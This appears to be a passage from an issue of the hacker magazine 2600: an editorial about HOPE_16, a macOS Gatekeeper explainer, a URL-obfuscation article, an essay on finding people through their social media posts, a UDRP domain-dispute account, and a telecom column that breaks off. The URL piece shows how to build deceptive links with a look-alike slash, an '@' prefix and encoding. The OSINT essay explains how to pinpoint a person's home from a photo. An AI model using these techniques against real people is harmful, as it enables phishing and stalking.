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Doubling Down

This is a time in our history that many have dreaded - one that we were specifically warned to not let happen. The majority of people, however, disagreed and decided to move forward into what can only be described as some really uncertain times. This is a fact we all have to recognize and, by doing so, we underscore the faith and value we place in the somewhat democratic system that we live under. We don’t expect it to be painless, but we also don’t expect to be easily silenced, despite the promises and threats.

It’s no small matter to keep moving forward when it seems as though the forces working against what you believe in are so powerful. But sometimes it’s that very challenge that leads to a more forceful inspiration. Whatever is on the horizon, we are not alone and we won’t sacrifice those values we hold dear.

We’ve heard from many 2600 readers, listeners to our radio shows, and attendees of our conferences who have expressed anxiety and even fear about what may lie ahead. We understand. But we also feel the best way forward is to continue doing what we do with as much energy and passion as we can exert. We’ve all faced challenges before and this will be a great big one, but we believe there will be more of us working together in various ways than ever before. This is absolutely essential if we want to advance in a positive way.

We won’t be intimidated. We won’t self-censor or tone down our message in a misguided attempt to be cautious. As we have always done, we will speak out against any attempt by authorities to abuse our freedom, our privacy, or our identities. As of press time, the sheer number of unqualified people being put in charge of massive agencies is something every one of us needs to be greatly concerned about. We would like to be proven wrong, but if we’re not, there’s no telling what kinds of crises loom ahead. It’s precisely at times like this that individual voices who don’t spout the party line are most essential.

All of this is, in part, why we have decided to make a major change in what we do. As of 2025, the Hackers On Planet Earth conferences will be annual events instead of once every two years. HOPE_16 will take place August 15-17 at St. John’s University in New York City. We think this is what we all need at this stage and that it will help people have more of a voice, as well as some inspiration to guide the direction of ever-important developing technology.

Our conferences have traditionally been biennial because of the tremendous amount of work that it takes to put them together. We needed that extra year, both to recover from the last one and to prepare for the next one. But our new home at St. John’s has proven to be so much easier to work with than our old midtown hotel that we believe this is the right time for such a change. The amount of positive feedback and enthusiasm we’ve gotten from our last two conferences seemed to really drive home the point that, not only could it happen more often but that it needs to. Plus, this gives us all an opportunity to become more efficient, as restarting the process every two years meant a lot of reconnecting and reintroducing people to what HOPE is all about. Now the flow between consecutive events will be smoother and more consistent.

There is a big condition, though. We cannot do this alone, nor can we continue with the relatively small and overworked amount of staff we had last year. We simply have to have more volunteers and project organizers or this just won’t succeed. This cannot be emphasized enough.

The hope.net website has details on just what we need more help with and how you can sign up to be a part of things. If you have specific skills, please let us know that, as there are a great many ways we can all help to make HOPE better and more smoothly run. The email address to start the process is volunteers@hope.net.

Speaker submissions have already opened and we intend to speed up the acceptance and scheduling process. There is the usual wide array of subject matter that we welcome for talk presentations and panel discussions. You can see a huge listing of ideas on the site. Unlike many events, we don’t discriminate based on age, background, or experience giving talks at conferences. If you convince us you have something relevant to share with the HOPE audience, then there’s a good chance you’ll get to do just that. speakers@hope.net is the address to send in your presentation ideas, but please read the guidelines at the website first.

We’re also accepting submissions for workshops at HOPE_16. These are great opportunities for attendees to have hands-on access to various projects and technologies - and they can range from hour-long sessions to all-day activities. You can email workshops@hope.net to submit your proposals.

Those are only the basics. As the conference draws closer, more and more ideas for new things to try will help shape the event. These include performances of varying sorts, art installations, villages, contests, vendors, exhibitions, connections with on- and off-campus organizations, and things none of us have even thought of yet. HOPE is what we all create together, so if you have an idea for something we never tried before, we want to hear about it.

We know the prospect of the times ahead is unsettling for many of you, as it is for many of us. But that doesn’t mean we can’t all continue to be ourselves and, in fact, to celebrate who we are. There has been so much ignorance and misinformation regarding hackers in the 41 years we’ve been publishing. We are far from the only group that has had to deal with being labeled as evil or some kind of diabolical threat. It’s so much harder when these labels are applied to ethnicities, religions, and sexual identities or preferences. Such intolerance based on generalizations and panic need to be challenged by everyone, regardless of whether or not we’re personally affected. That has always been a big part of HOPE’s mission and we feel it’s never been more important.

We don’t win by running away. We win by doing what so many of us have done for a while: challenging the status quo, revealing information that those in power want suppressed, sharing what we learn with others without price or condition, and never losing faith that we’re building a better future without setting a deadline on when it’ll actually come to fruition. That is the spirit behind HOPE and the spirit of the hacker community. Despite the challenges, we expect a great deal of accomplishment, success, and joy awaits us.

Easily the most consistent request we have received in the 31 years since the first HOPE conference happened was to make HOPE an annual event. Now, at last, we find ourselves not only in a position to be able to make that happen, but in a time where an annual HOPE is a necessity and will serve to bring a great deal of positivity to the community. It is our goal to have it occur in mid-August of each year as a bit of a finale to the summer season of hacker events. St. John’s offers us an environment where learning and freedom of speech are encouraged and the campus gives us the ability to expand in whatever ways we all deem appropriate. It’s a fitting development in what has been, for us, an uncertain and turbulent time where we first lost our original home, then struggled to get through the COVID crisis, and now find ourselves at a critical juncture of history. It would have been easy to quit at any of these points. But that’s not the hacker way. We will use challenges to push back and grow with renewed energy. In our darkest days, the community never let us feel alone. If we can extend that way of thinking to even a few people, it’ll be worth every bit of effort involved.

So please mark your calendars and spread the word. We look forward to seeing many of you at HOPE_16, August 15-17 at St. John’s University in Queens, New York City. All details will continue to be posted at www.hope.net.


A Brief Look at Apple’s Gatekeeper

by Matt

Apple has built several layers of security into macOS. The layers are made up of several programs which have evolved over various iterations of macOS. Let’s poke around with one of these programs which is responsible for code signing and download verification: Gatekeeper.

With the release of Mac OS X 10.5 Leopard, Apple introduced File Quarantine. File Quarantine works by adding an extended attribute to files downloaded from the Internet.

When a user attempts to open the file, they are prompted with a warning that the file was downloaded from the Internet and asks if the user is sure they want to continue opening the file. This can be very helpful if a user downloaded what they believe is an image - File Quarantine would display a notification where it’ll say what the user believes is an image is in fact an application. You can view the quarantine attribute by running xattr against the file:


Matt@Matts-MacBook-Pro:~$ xattr -l /Applications/Thunderbird.app/

com.apple.quarantine: 0183;666f2baa;Safari;F3A898BF-EEDA-4E67-B9A7-FC79FE5B5DDA

In the above block we can see some extra info in 0183;666f2baa;Safari;F3A898BF-EEDA-4E67-B9A7-FC79FE5B5DDA. Let’s break that out. 00083 is the quarantine event and tells the OS not to open it until Gatekeeper checks it. Once the application has been installed, you will see this change to 01c3. 666f2baa is the time stamp the file was downloaded. The time stamp is shown in epoch time (Unix epoch time is the number of seconds since January 1st, 1970). Safari shows the application that downloaded the file and finally F3A898BF-EEDA-4E67-B9A7-FC79FE5B5DDA is the UUID that further identifies the event. All of this information is stored in the quarantine database.

Let’s dig into this database and query the UUID:


Matt@Matts-MacBook-Pro:~$ sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2

SQLite version 3.43.2 2023-10-10 13:08:14

Enter “.help” for usage hints.

sqlite> select * FROM LSQuarantineEvent WHERE LSQuarantineEventIdentifier="F3A898BF-EEDA-4E67-B9A7-FC79FE5B5DDA";

F3A898BF-EEDA-4E67-B9A7-FC79FE5B5DDA|740254506.21065|com.apple.Safari|Safari||||0|||

In the above block, we see the UUID being printed out F3A898BF-EEDA-4E67-B9A7-FC79FE5B5DDA which is the LSQuarantineEventIdentifier. We then have 740254506.21065 which is the LSQuarantineTimeStamp - the time stamp. Notice here this is not in the macOS epoch time like in the extended attribute. In the database, the time stamp is in macOS absolute time. com.apple.Safari is the LSQuarantineAgentName - the app name that’s responsible for the quarantine event. Safari is the LSQuarantineAgentBundleIdentifier - the bundle name of the application. We then see a bunch of | which are other events in LSQuarantineEvent which are not present in our example. The next bit of information is the 0. This is the LSQuarantineTypeNumber. This will be a number from 0-5 indicating:


0 - Web Download

1 - Other Download

2 - Email Attachment

3 - Message Attachment

4 - Calendar Event Attachment

5 - Other Attachment

The missing events in LSQuarantineEvent in our above example are LSQuarantineSenderName, LSQuarantineSenderAddress (both of which will be populated if the file comes from an email), LSQuarantineOriginTitle, LSQuarantineURLString, and finally LSQuarantineOriginAlias.

Now let’s look at the attributes from the same app downloaded with wget:


Matt@Matts-MacBook-Pro:~/Downloads$ xattr -l Thunderbird.app/

Matt@Matts-MacBook-Pro:~/Downloads$

xattr shows no results. Apple’s security framework that includes the Gatekeeper API appends the attribute to the file. If a program, in this case wget, doesn’t include the API, then the attribute is not added.

File Quarantine was expanded on in Mac OS X 10.8 Mountain Lion with the introduction of Gatekeeper. Gatekeeper works by checking the digital signature of an application and then performing an action based on the application signature and what the user has set in their security settings for Gatekeeper. Gatekeeper also uses the quarantine attribute assigned by File Quarantine. Users were able to set Gatekeeper to allow applications to install from the Mac App Store, the Mac App Store and trusted developers, or from anywhere. In macOS 10.14 Mojave, Apple dropped the anywhere option; however, users are still able to install non-signed apps by either going into settings and clicking on open anyway, by right clicking on the app and clicking on open and then open again in the warning windows, or by disabling Gatekeeper altogether by running sudo spctl --master-disable. With the release of macOS 15 Sequoia, users will no longer be able to use the right-click method. Instead, users will need to go to the privacy and security settings to review the security information before running the application.

Let’s have a closer look at developer signatures:


Matt@Matts-MacBook-Pro/Applications: $ spctl -a -t exec -vvv Thunderbird.app/

Thunderbird.app/: accepted

source=Notarized Developer ID

origin=Developer ID Application: Mozilla Corporation (43AQ936H96)

Using spctl we can query an applications signature. spctl shows the source as a notarized developer. This means Mozilla has signed Thunderbird with their developer certificate obtained from Apple. Lets have a look at an app downloaded from the Mac App Store:


Matt@Matts-MacBook-Pro~/Downloads: $ spctl -a -t exec -vvv /Applications/Safari.app

/Applications/Safari.app: accepted

source=Apple System

origin=Software Signing

And now a script that hasn’t been signed with a developers certificate:


Matt@Matts-MacBook-Pro/Applications: $ spctl -a -t exec -vvv ~/Downloads/scratch.sh

/Users/Matt/Downloads/scratch.sh: rejected

source=no usable signature

As of macOS 10.15 Catalina, Apple requires all apps to be notarized by Apple even if the app is not distributed by the Mac App Store. Developers are required to upload their application using Apple’s notary service. The service then scans the app for malicious code and if the app passes, a notarization ticket is issued which we then see as source=Notarized Developer ID when looking at an apps signature. The notarization process is automated. However, if developers want to deploy their apps via the Mac App Store, then their apps must be put through Apple’s App Review, where a human reviews the application to make sure the app is compliant with the App Store guidelines.

So what does Gatekeeper do with this information? When running spctl against Thunderbird, we see the origin show the developer ID as 43AQ936H96. Gatekeeper will check the gk.db located in /Library/Apple/System/Library/CoreServices/XProtect.bundle/Contents/Resources/ to see if our developer ID of 43AQ936H96 is in the block list:


sqlite> SELECT * FROM blocked_teams WHERE team_id ='43AQ936H96';

sqlite>

Cool, we get no response. If we were to get a hit we’d see something like:


sqlite> SELECT * FROM blocked_teams WHERE team_id ='ZRT7J747FF';

ZRT7J747FF|0

If the developer ID is in the block list, then Gatekeeper and Apple’s XProtect will block the file from running.

Above we have seen how Apple’s Gatekeeper service, in combination with File Quarantine, will append an extended attribute to a downloaded file that has been downloaded by an application that supports Apple’s Gatekeeper API. Gatekeeper will check the file’s signature, which includes the developer’s ID and Apple notarization, to make sure it is from a trusted developer. When the executable is run, Gatekeeper will prompt the user, telling them the file has been downloaded from the Internet, asking if the user wants to run the executable. If the developer ID is in the block list in the gk.db, then Gatekeeper, along with XProtect, will block the application from running. If, however, a download file has not been notarized by Apple, then the user can override the Gatekeeper by right-clicking on the app and selecting open.

Like all software, Gatekeeper has not been immune to bugs which has led to threat actors bypassing Gatekeeper controls. Let’s have a look at a few examples.

Cast your mind back to 2014. LaunchServices didn’t handle file type metadata which allowed a JAR archive to bypass Gatekeeper. This has been given the CVE of CVE-2014-8826.

In 2017, the CVE CVE-2017-2536 was logged, detailing how malicious apps could pretend to be legitimate apps to bypass Gatekeeper.

In 2021, analysts saw Shlayer malware exploiting CVE-2021-30657. The attackers bypassed Gatekeeper by exploiting a vulnerability, using a fake notarized app which macOS assumed to be legitimate.

It is important to acknowledge these issues. While Gatekeeper provides the user with important security features, no one should underestimate the creativity of those who wish to overcome and circumvent them.

Nevertheless, one can learn a great deal from how Gatekeeper functions and how malicious actors disrupted its security features. Poking around with command line helps to reveal the process by which apps and downloaded content are made more secure. Even though there has been, and there always will be, security lapses, there is great value in exploring the layers of Apple Security to evaluate the limits of protecting data.


More Fun With URL Hacking

by Daryl Furuyama

In the Autumn 2024 edition, Tiago Epifânio (madcap) highlighted a few techniques for obfuscating URLs in the article “Hacking the URL Schema” that sounded fun, so I gave them a try to see what I could do with them. The first technique was the use of decimal versions of IP addresses (v4) so they do not look like IP addresses anymore. For example, going to http://192.168.0.1 is the same as going to http://3232235521. madcap described the conversion to decimal by converting each segment of the IP address into binary, removing the dots between them, and converting that binary back to decimal. Alternatively, you can just sum the product of each segment multiplied by 256 raised to the ordinal of the address segment (e.g., 192.168.0.1 = 192 * 256^*3* + 168 * 256^*2* + 0 * 256^*1* + 1 * 25= 6^ *0* = 3232235521). I was on a Windows machine, so I used the command prompt with the nslookup command to get the desired IP address (e.g., nslookup 2600.com) and Excel to do my conversions.

In addition to the https restriction detailed in the aforementioned article, I was also running into issues where most sites do not allow for direct IP access, limiting what could be accessed with this technique. The only real use cases I could think of were either to set up my own server with a funny message on the index page or see if there was something that could be done with the sites that did allow direct IP access. Setting up my own server seemed like a lot of work for a practical joke, so I opted to explore what could be done with sites that did allow direct IP access. Fortunately, I found that Google does allow direct IP access, so that opened up some additional opportunities.

The other two techniques explained by madcap were that browsers will ignore anything in a URL before an @ sign (because it thinks that it is entering a username) and the use of a Unicode “division slash” character that looks like a normal slash used in URLs but isn’t treated as one. I used the Character Map tool in Windows to get the “division slash” character and constructed a URL like http://dev.some-fake-company.com/person_search/@2398766158/search?q=John+Doe where the slashes after .com and person_search are the “division slash” characters, and the others being regular slashes. That URL will just return a Google search for “John Doe.” You can then tell your friend, “Hey John, look what I found on this company’s website,” and watch as John is unimpressed with the dev’s lazy work that just returns a Google search. Note that simply copying and pasting the URL may trigger automatic link detection, breaking the link when it gets to the “division slash,” so using the “Insert Link” function may be needed when sharing a link.

Sending friends an obfuscated Google search obviously isn’t too exciting. However, I then remembered that Google also has an “I’m Feeling Lucky” feature that redirects the user to the website of the first search result. I might be able to bypass the direct IP access restriction by using Google to do the redirecting. The current version of the Google website makes it a little difficult to figure out how to trigger the “I’m Feeling Lucky” functionality, but I was able to use the Wayback Machine on the Internet Archive to get an old version of the Google search page and found out that adding &btnI=I%27m+Feeling+Lucky to the end of the URL will still result in redirecting users to the first result. So, a URL like http://www.some-fake-company.com/@2398766158/search?q=2600&btnI=I%27m+Feeling+Lucky (with the slash after .com still being the “division slash”) will result in a redirect to 2600.com, assuming you have the same search result order as I do.

Yet, there are now two new issues. The first one is that there is a blatant I%27m+Feeling+Lucky in the URL, giving away the ruse. The second one is that I get a browser notice that the page is being redirected, also breaking the illusion. However, there is hope in noticing that the URL has I%27m instead of I’m. This is because certain characters need to be encoded to properly be sent through the URL, with the most common example being spaces encoded as %20.

W3 Schools has a reference table here: https://www.w3schools.com/tags/ref_urlencode.ASP, and it looks like even normal alphanumeric characters can be encoded, even though it’s not common. So, if we change the “F” in “Feeling” to %46, we get the less obvious URL of http://www.some-fake-company.com/@2398766158/search?q=2600&btnI=I%27m+*%46*eeling+Lucky, and we still get redirected to 2600.com, which solves the first issue. Just keep in mind that the more characters changed, the more obfuscated the URL becomes, but also the longer it becomes since each character is now replaced by three.

The next logical question would be if I can obfuscate characters through URL encoding, do I even need to use the decimal IP address technique anymore with all its restrictions that I’m trying to overcome? The URL https://some-fake-company.com/@%32%36%30%30%2E%63%6F%6D (with the slash after .com still being the “division slash”) does indeed send me to 2600.com, I can use https, I don’t seem to have the same direct IP access restriction anymore, and I don’t have to rely on a third party to redirect to the destination site. Overall, I’d say that URL encoding is a more flexible technique, although decimal IP formatting has its uses for its brevity and was the catalyst that sent me down this adventure to find a different solution. Running into unexpected challenges and discovering ways to overcome those challenges are all part of the fun. Now I have a few more tools in my arsenal to play with and a deeper understanding of how URLs work.


Get Your Free Personal Info Here!

by The Barbarian of Yesteryear

Disclaimer: Please do not use anything from this article to stalk or harass anybody. It is for informational purposes only.

The sheer amount of people voluntarily posting every little thing about their existence is staggering. How much attention do you actually need?

We currently live in a world of instant gratification and a lot of “look at me!” attention seeking. Look at social media - at any given time, I could tell you what somebody ate for lunch on a certain day and where they took the kids for a birthday party. And I’m not talking about celebrities or influencers. Everyday people just love to post anything and everything about themselves! From soccer moms posting their child’s picture and name to the public, to the small-time teenage drug dealer posing with guns and money on Instagram, this type of clout-seeking is a great way for people to get a lot of free information on somebody and/or their family and friends. Criminal activity or not, it doesn’t take a genius to figure out that it’s not too smart to incriminate yourself so easily or pass out personal information like it’s Halloween candy. From political party affiliations to favorite foods, sports teams, and places to shop, all of your self-provided information can possibly be used to crack a password based on security questions or open the door to nosey nellies looking to either do you harm or simply harass and annoy.

The following example is nothing new, but you may not want to make social media posts of how long you’ll be on your overseas trip and hope your empty house is okay in your absence. First of all, nobody cares! Bragging about your five-star trip to Italy could be enough to make a jealous person want to take your things, even just to teach you a lesson. Please stop making it so easy for people to target you. The only people who should know your whereabouts in a situation like this are people checking up on your dwelling and/or personal items to be sure they’re still there while you’re away. You have no need to post your every move. Why not just get yourself a government issued ankle monitor instead? Or even easier, turn on your phone’s GPS. If anything, you could share your vacation photos after you’ve returned from your excursion. Otherwise, be sure and just send those selfies to trusted friends and family. Thank you.

And you young people, oh don’t get me started. Posting pictures of your latest crime with your face and voice fully exposed? Real smart! Could it be that lack of criminal punishment in these current times has emboldened ne’er-do-wells to the point of not caring due to lack of any consequences? Possibly. While street credibility might be important in some circles, it sure isn’t a bright idea to let people know you’ve broken the law. Congratulations! You’ve just put the digital handcuffs on yourself. It could just be that you’re young and stupid. Sadly, this applies to adults as well. I don’t mean to pick on just you whippersnappers. Calm down!

This idea of now providing one’s actual identity seems to be a far cry from the early days of hacking, which I would hazard to state was mostly of the black hat variety. Phreaking and social engineering activities revolved around a code of anonymity we don’t see much outside of today’s 2600 circle. Come on, even bank robbers in the old west covered their face with a bandana to help cloak their identity. It seems that nowadays if crime isn’t caught on CCTV, it’s posted by the criminals themselves - in full HD at that! Granted, we’re talking more about vandalism, caught-on-camera theft, illegal gun possession, and maybe some weed smoke, not grand Catch Me If You Can schemes. Still, I believe this all ties together with the sharing of too much information on social media as a subconscious “that’s just what one does” act.

Since you gave me some of your info, let me talk about what I can do with it! Simple free tools like Google Maps can be an amazing way to find out an actual location in a simple photo post. Let’s say a person of interest posts a picture of themselves in their front yard along with a caption stating just that. Hey, look at that - there’s a sign in the background! With today’s 40+ megapixel shots, zoom-in details can get street sign names of an intersection or other points of interest. A quick search of this area in Google Maps can yield multiple street views of a person’s house (front and back) along with a bird’s eye satellite view! Add to this a county property tax search of public record, and you’ve now got the homeowner’s full name. This won’t list a possible renter, so be mindful. Another quick Google address or name search easily provides you a phone number or two.

As always, social engineering calls can open the door to many possibilities. Any point of reference can be used as a tool. They have a swimming pool? A pecan tree? Everyday things can and will be used against you! I’ve even found people’s Venmo information, family pictures with ages, and personal relationship dramas since they put it all out there. Finding this was all done using one search engine and no logins for any social media or app account. It’s all out there, if you know where to look. It does make me wonder though (using a VPN or not) that if all of our searches online are logged to a certain IP address, is seeking personal information on a subject based on an X post actually making yourself a person of interest if something were to happen to your subject? Double-edged sword there.

Recently, online sleuths were on the hunt for somebody who assaulted a personal pet (the dog ended up okay, luckily). Rightly so! But you still have to be very careful of identifying the wrong person using public info because a partial car description matched a satellite view of a similar auto parked at a house near where a crime happened. It seems that in most media in this day and age, once something is reported it’s taken as gospel - even if said information is incorrect! A later retraction of any false accusation will most certainly be buried underneath the next hot crime headline in this instant information age, leaving the innocently accused branded guilty without any chance at redemption. Social justice pile-on is still real, people. Make sure your facts are as straight as can be before you point the finger, or you’re just as bad as a news site publishing false information with no fact check just to be “first.” Innocent lives can be and have been ruined this way.

On top of all this, proverbial “data mining” still exists today. This can include things like companies forcing a user to sign up with personal information to make an online purchase or a simple optional newsletter email sign-up. I suppose if you want anonymous buying, you can use Bitcoin and an alias with a P.O. box mailing address, but not all of us have that. It seems we can’t do anything without identifying ourselves first. Add this to all the uninteresting musings you spewed online, and your personal data file is getting more and more stuffed. Where is all of this personal information going, though? Hopefully not somewhere that becomes a victim of the latest of many data breaches at your expense. Let’s face it - the only secure information out there are the nuclear launch codes and the KFC original recipe. Once those get posted online, look out!

Frankly speaking, the death of privacy these days is definitely more than a bit disheartening. Scary, actually. Gone are the days of “no pictures, no comments.” Now it’s basically, “Here’s a picture and my comment on it!” This leads to the age old adage of, “They already have all my information already, so what’s the big deal?” The big deal is you gave it to them! With visuals! Is it really too late? If we knew exactly where all this information was stored we might have that answer. But I don’t think we ever will.

Bottom line, human error isn’t just inadvertently giving out a password over the phone. It can be as simple as your innocent social media post. Protect yourself - stay private. Be careful out there....


Domain Name Battlefield: The Strength and Weakness of a Low Profile

by John Skinner

I will describe a weakness in domain name ownership patterns of some organizations, and my experience with the process which governs domain name disputes: the UDRP process. I will illustrate this with the organization Focus on the Family (FotF). My story is not legal advice.

You might remember FotF as a fundamentalist Christian media empire from the 1970s to the 1990s. It is still around, but less visible. It has transformed into a powerful lobbying organization. It advocates against LGBTQ rights, legal abortion, sex education, and that kind of thing, trying to outlaw all of it at every level of government. To this end, FotF operates a jumble of sub-organizations with names like Family Policy Alliance, Family Policy Foundation, The Family Foundation, The Family Leader, Family Research Council, etc. As you can see, these names are all pretty similar and forgettable. They are simply the word “family” surrounded with vaguely official-sounding terms.

Why do they use these generic names? According to FotF, it is because “coalitions can be more effective with a low profile.”1 The cloud of vaguely-named organizations creates an impression of a grassroots movement, obscuring the coordinated lobbying effort. The names repeat the concept of family because FotF is attempting to monopolize that concept and link it to their regressive policies. They would transform “family” from an ordinary word into an ideological buzzword, a brand name. Focus on the Family attempts to control the idea of family in the same way that De Beers controls the idea of diamonds.

Though reprehensible, you can see the strategic strength of this naming system. Now we turn to its weaknesses.

Any brand is intellectual property (IP) that must be defended. A multiplicity of brands forms a large attack surface. Each brand must file paperwork, defend its trademark, and manage the way it appears in search results. This is a considerable burden. FotF seems to get its own brands confused sometimes, employing names and logos in unexpected combinations. Possessing a network of brand names requires registering and renewing many domain names and maintaining many websites. Any failure to do so can be used against the brand network.

I registered the domain name FamilyPolicyFoundation.org in 2020. This domain name obviously should have been registered by the Family Policy Foundation, one of FotF’s many subsidiaries. They neglected to build a website for this sub-brand, probably because it is a minor adjunct of a much more important sub-brand, the Family Policy Alliance, which is the largest hub of state-level anti-LGBTQ lobbying in the U.S. The Alliance is a major node in FotF’s network, overseeing subsidiaries in 41 states. It is a 501(c)(4) organization which faces fewer lobbying restrictions than the Family Policy Foundation, a 501(c)(3) arm which is primarily used for fundraising. This pairing of organizations with different tax status is fairly common in the lobbying world, so the weakness exampled here probably applies elsewhere.

At my new domain name, I put up a quick raw HTML web page criticizing the organization, though I took care to make my criticism truthful and verifiable. I used some basic SEO (search engine optimization) techniques to increase the page’s visibility, but most of the SEO heavy lifting was done for me by the spot-on domain name and the lack of other material about the brand. My page began to crop up even for search terms related to other FotF brands.

As the web page rose in search relevance, the Family Policy Whatever realized their mistake in leaving their fundraising component exposed. They registered a flurry of variations on the domain name, the .net version and so on, in an effort to close the barn door after the horse bolted. They also made complaints to my domain name registrar, arguing that my website was infringing on their IP and contained “patently false and defamatory statements” (it did not). These complaints were forwarded to me anonymously because I had purchased a whois privacy service offered by the registrar. The registrar took no action on them.

In January of this year, the Family Policy Foundation undertook a more serious step: they filed a Uniform Domain-Name Dispute-Resolution Policy (UDRP) complaint against me with the World Intellectual Property Organization (WIPO). A part of the United Nations, WIPO is headquartered in Geneva, Switzerland. The UDRP process it administers is the final stop for claims of trademark violations in domain names. WIPO has the power to crack whois privacy protection, finding your real name and home address if you were truthful about those things when you registered your domain name. If you were not truthful, this may count against you during the UDRP process. The process also gives complainants the power to seize a domain name if WIPO finds in the complainant’s favor, which it does in more than 95 percent of cases.2

I found the UDRP process surprisingly loose and brief. Except for one postal mailed notice, it takes place wholly via email. Each party is usually allowed only a single shot: one complaint, one response to that complaint a maximum of 20 days later. Then one decision, no appeals. You don’t strictly need to hire a lawyer to file your response; you can (technically, maybe not a great idea) do it yourself. Or, you can get a lawyer from an unrelated jurisdiction if you want (I chose one from Serbia). In fact, you don’t need to respond at all; a UDRP panel (the judges) will render a judgment even if you do nothing. In a free speech case like mine, some lawyers may be willing to represent a website creator pro bono; the Electronic Frontier Foundation pointed me to some. But I reiterate that I am not a lawyer, just a hacker.

Because WIPO and the web are international, UDRP panels are not responsible to any nation’s legal system. Even the precedent of previous UDRP decisions doesn’t count for much. “UDRP does not operate on a strict doctrine of binding precedent” according to the WIPO Jurisprudential Overview, the guiding document for UDRP panelists.3

The UDRP process considers three elements:

1. The domain name registered by the domain name registrant is identical or confusingly similar to a trademark or service mark in which the complainant (the person or entity bringing the complaint) has rights

2. The domain name registrant has no rights or legitimate interests in respect of the domain name in question

3. The domain name has been registered and is being used in bad faith

To make a successful complaint of trademark infringement and seize a domain, the complainant must demonstrate all three elements. The second element is of particular interest because that’s where freedom of speech can come into play. Per the Jurisprudential Overview, “in certain cases involving parties exclusively from the United States, some panels applying U.S. First Amendment principles have found that even a domain name identical to a trademark used for a bona fide noncommercial criticism site may support a legitimate interest.” Note that a UDRP panel is not obligated to follow the First Amendment, but they can. It is up to the individuals who make up the panel.

Fortunately, the respondent (me) gets to nominate people for the panel. Because most UDRP cases are simple cybersquatting, my lawyer wasn’t certain about the best nominees for our legitimate, noncommercial free speech case. I helped generate some candidates using a search engine to turn up cases that cited the relevant part of the Jurisprudential Overview verbatim:


site:wipo.int “some panels applying US First Amendment principles”

Reading each case I uncovered, I selected those in which the panel actually used the First Amendment to find in favor of the respondent. Gathering the names of these panelists signed at the bottom of each decision, I searched for the panelists’ other decisions, again using site:wipo.int plus each panelist’s name. After a few iterations, I narrowed in on a couple of panelists with a solid free speech track record. Fortunately, my lawyer contributed his professional knowledge of those panelists as well.

We won the case.4 In the end, our careful selection of free speech panelists didn’t matter. Our panel found that we “mounted a serious challenge on the issue of whether Complainant has rights in that mark” under the first UDRP element. Basically, the name Family Policy Foundation is too generic and little-known to constitute a solid trademark. At the time the trademark was filed, the U.S. Patent and Trademark Office only accepted it into their Supplemental Register, which means it is inferior to normal trademarks found on the Principal Register. The Family Policy Foundation wasn’t able to produce proof that people outside their own organization know the brand name. The panel also noted “the joint or inconsistent use of its name, and related names” of other FotF groups, in particular Family Policy Alliance, The Family Foundation, and (no kidding) Family Policy Alliance Foundation. This sloppy jumble of brands cannot be held together.

Because the panel tossed out the complaint on the first element, they didn’t write a finding on the other two UDRP elements, so they did not touch the topic of free speech. I do wonder what they would have written on that topic, but I am not hopeful; the protections for speech in this process are weak and inconsistent. Every UDRP panel is different, so you may not have the same outcome if you follow these same steps. But I hope I have given a useful idea of this important process that governs our lives on the World Wide Web, and that I have illuminated a weakness of organizations with intentionally confused and evasive public images.




1 en.wikipedia.org/wiki/Family_Policy_Council#Secret_origins

2 giga.law/blog/2024/1/31/domain-digest-q4-2023

3 www.wipo.int/amc/en/domains/search/overview3.0/

4 www.wipo.int/amc/en/domains/decisions/pdf/2024/d2024-0098.pdf


Telecom Informer

by TProphet

Hello, and greetings from the Central Office! It’s winter in the Great Northwest, and we are still recovering from this fall’s “bomb cyclone,” the worst storm since the “Thanksgiving Eve” storm of 2006. As you can imagine, it was very busy around here with service calls and our outside plant is still not entirely restored. One of the biggest problems is that staffing has been cut back so much that even when the company sends technicians from all over the country and offers unlimited overtime, recovery takes weeks longer than it used to. This backs up new installations, especially complicated ones, which is a problem I’m now starting to deal with.

Honestly, I’m not sure how to handle the installation order I’m now looking at. There isn’t an actual address. In the Seattle area, like many cities throughout the United States, there is a homelessness crisis and informal settlements have been popping up all over the place. These settlements come in a hierarchy; some are completely unauthorized and unsanctioned encampments at constant risk of being disbursed by police. Then there are encampments of people living outdoors with some level of organization, usually with some level of permission (often time-limited) to be there. There are homeless shelters, which are often in buildings that are in varying stages of near-demolition and/or condemnation (obviously, most of these locations haven’t been upgraded with fiber to the premises). Finally, some of the informal settlements have, once sufficiently established and with city support, turned into semi-formal “tiny home” settlements (although “semi-formal” might be a generous description).

No matter which of these you’re looking at, these are mostly places where people are living without formal addresses or regular access to utilities. The people living there are on the margins of society. They’re very often unbanked, and may not have formal identification. When you think about it, unless you’re at ToorCamp, you can’t ask any phone company to run broadband to your tent.

Even if there was a practical way to order broadband (and some emergency housing does have paid Wi-Fi), people who are living on the margins don’t have the ability to pay for it. Internet service was available to part of this population via underpowered smartphones issued through the Lifeline program, but funding for the Affordable Connectivity Program (ACP) ended in June, 2024 and hasn’t been restored by Congress. This means that most of these services have an extremely limited (if any) data allowance, and it’s hard to use anyway given the poor specs on these devices.

In Seattle, that’s where the Seattle Community Network comes in. As a grant-funded nonprofit, SCN provides Internet services at no charge to people at a total of ten sites in Seattle. The service is delivered over Wi-Fi, which amounts to a fairly standard mesh network bill of materials:

	Wi-Fi access points

	Gateway router

	Backhaul capability

	Switches with an appropriate number of ports

	Outdoor-rated cable

	Backup battery (power can be unreliable in the Great Northwest)

	Network monitoring with out-of-band connectivity



From a hardware and deployment perspective, this really doesn’t look a whole lot different than deploying Wi-Fi to an RV park. It’s essentially the same setup. However, from a backhaul perspective, this is dramatically different because installing residential service requires a residential address. The Business Office will not deliver residential service to a business address, and will definitely not deliver residential service to a nonexistent address.

[image: 06-4q24-ti]

Fiber-to-the-tent is not in our Service Catalog.




The order I’m working on is for a site that hosts a fairly large encampment and has been limping along with a 5G router donated by the Seattle Public Library. Unfortunately, the 5G service is deprioritized and pretty much doesn’t work during rush hour. Of course, there is fiber on the pole right next to it, and nearby residences enjoy GigE speeds. The problem is getting service installed where Seattle Community Network can actually use it.

To install and provision service, I need an installation address, and the installation address needs to be in our GIS instance as provided by Network Planning. It also needs a postal address for billing (even if the billing address is not the service address, the service address also needs a postal address). In this case, there isn’t a postal address (it’s a landlocked parcel which contains a parking lot repurposed as an encampment), and the address isn’t residential. Installing commercial service would be possible on the adjacent parcel (which is publicly owned and generally cooperative), but wouldn’t be ideal because commercial IP addresses cause problems for the residents in accessing consumer sites. Commercial service is also considerably more expensive, and isn’t strictly required under the residential Terms of Service for this particular application. While it would technically be possible to install fiber to these premises, I’d have to interact with Network Planning to get the property “on the map.” This will take months, cause me endless headaches, and is something I would prefer to avoid if at all possible.

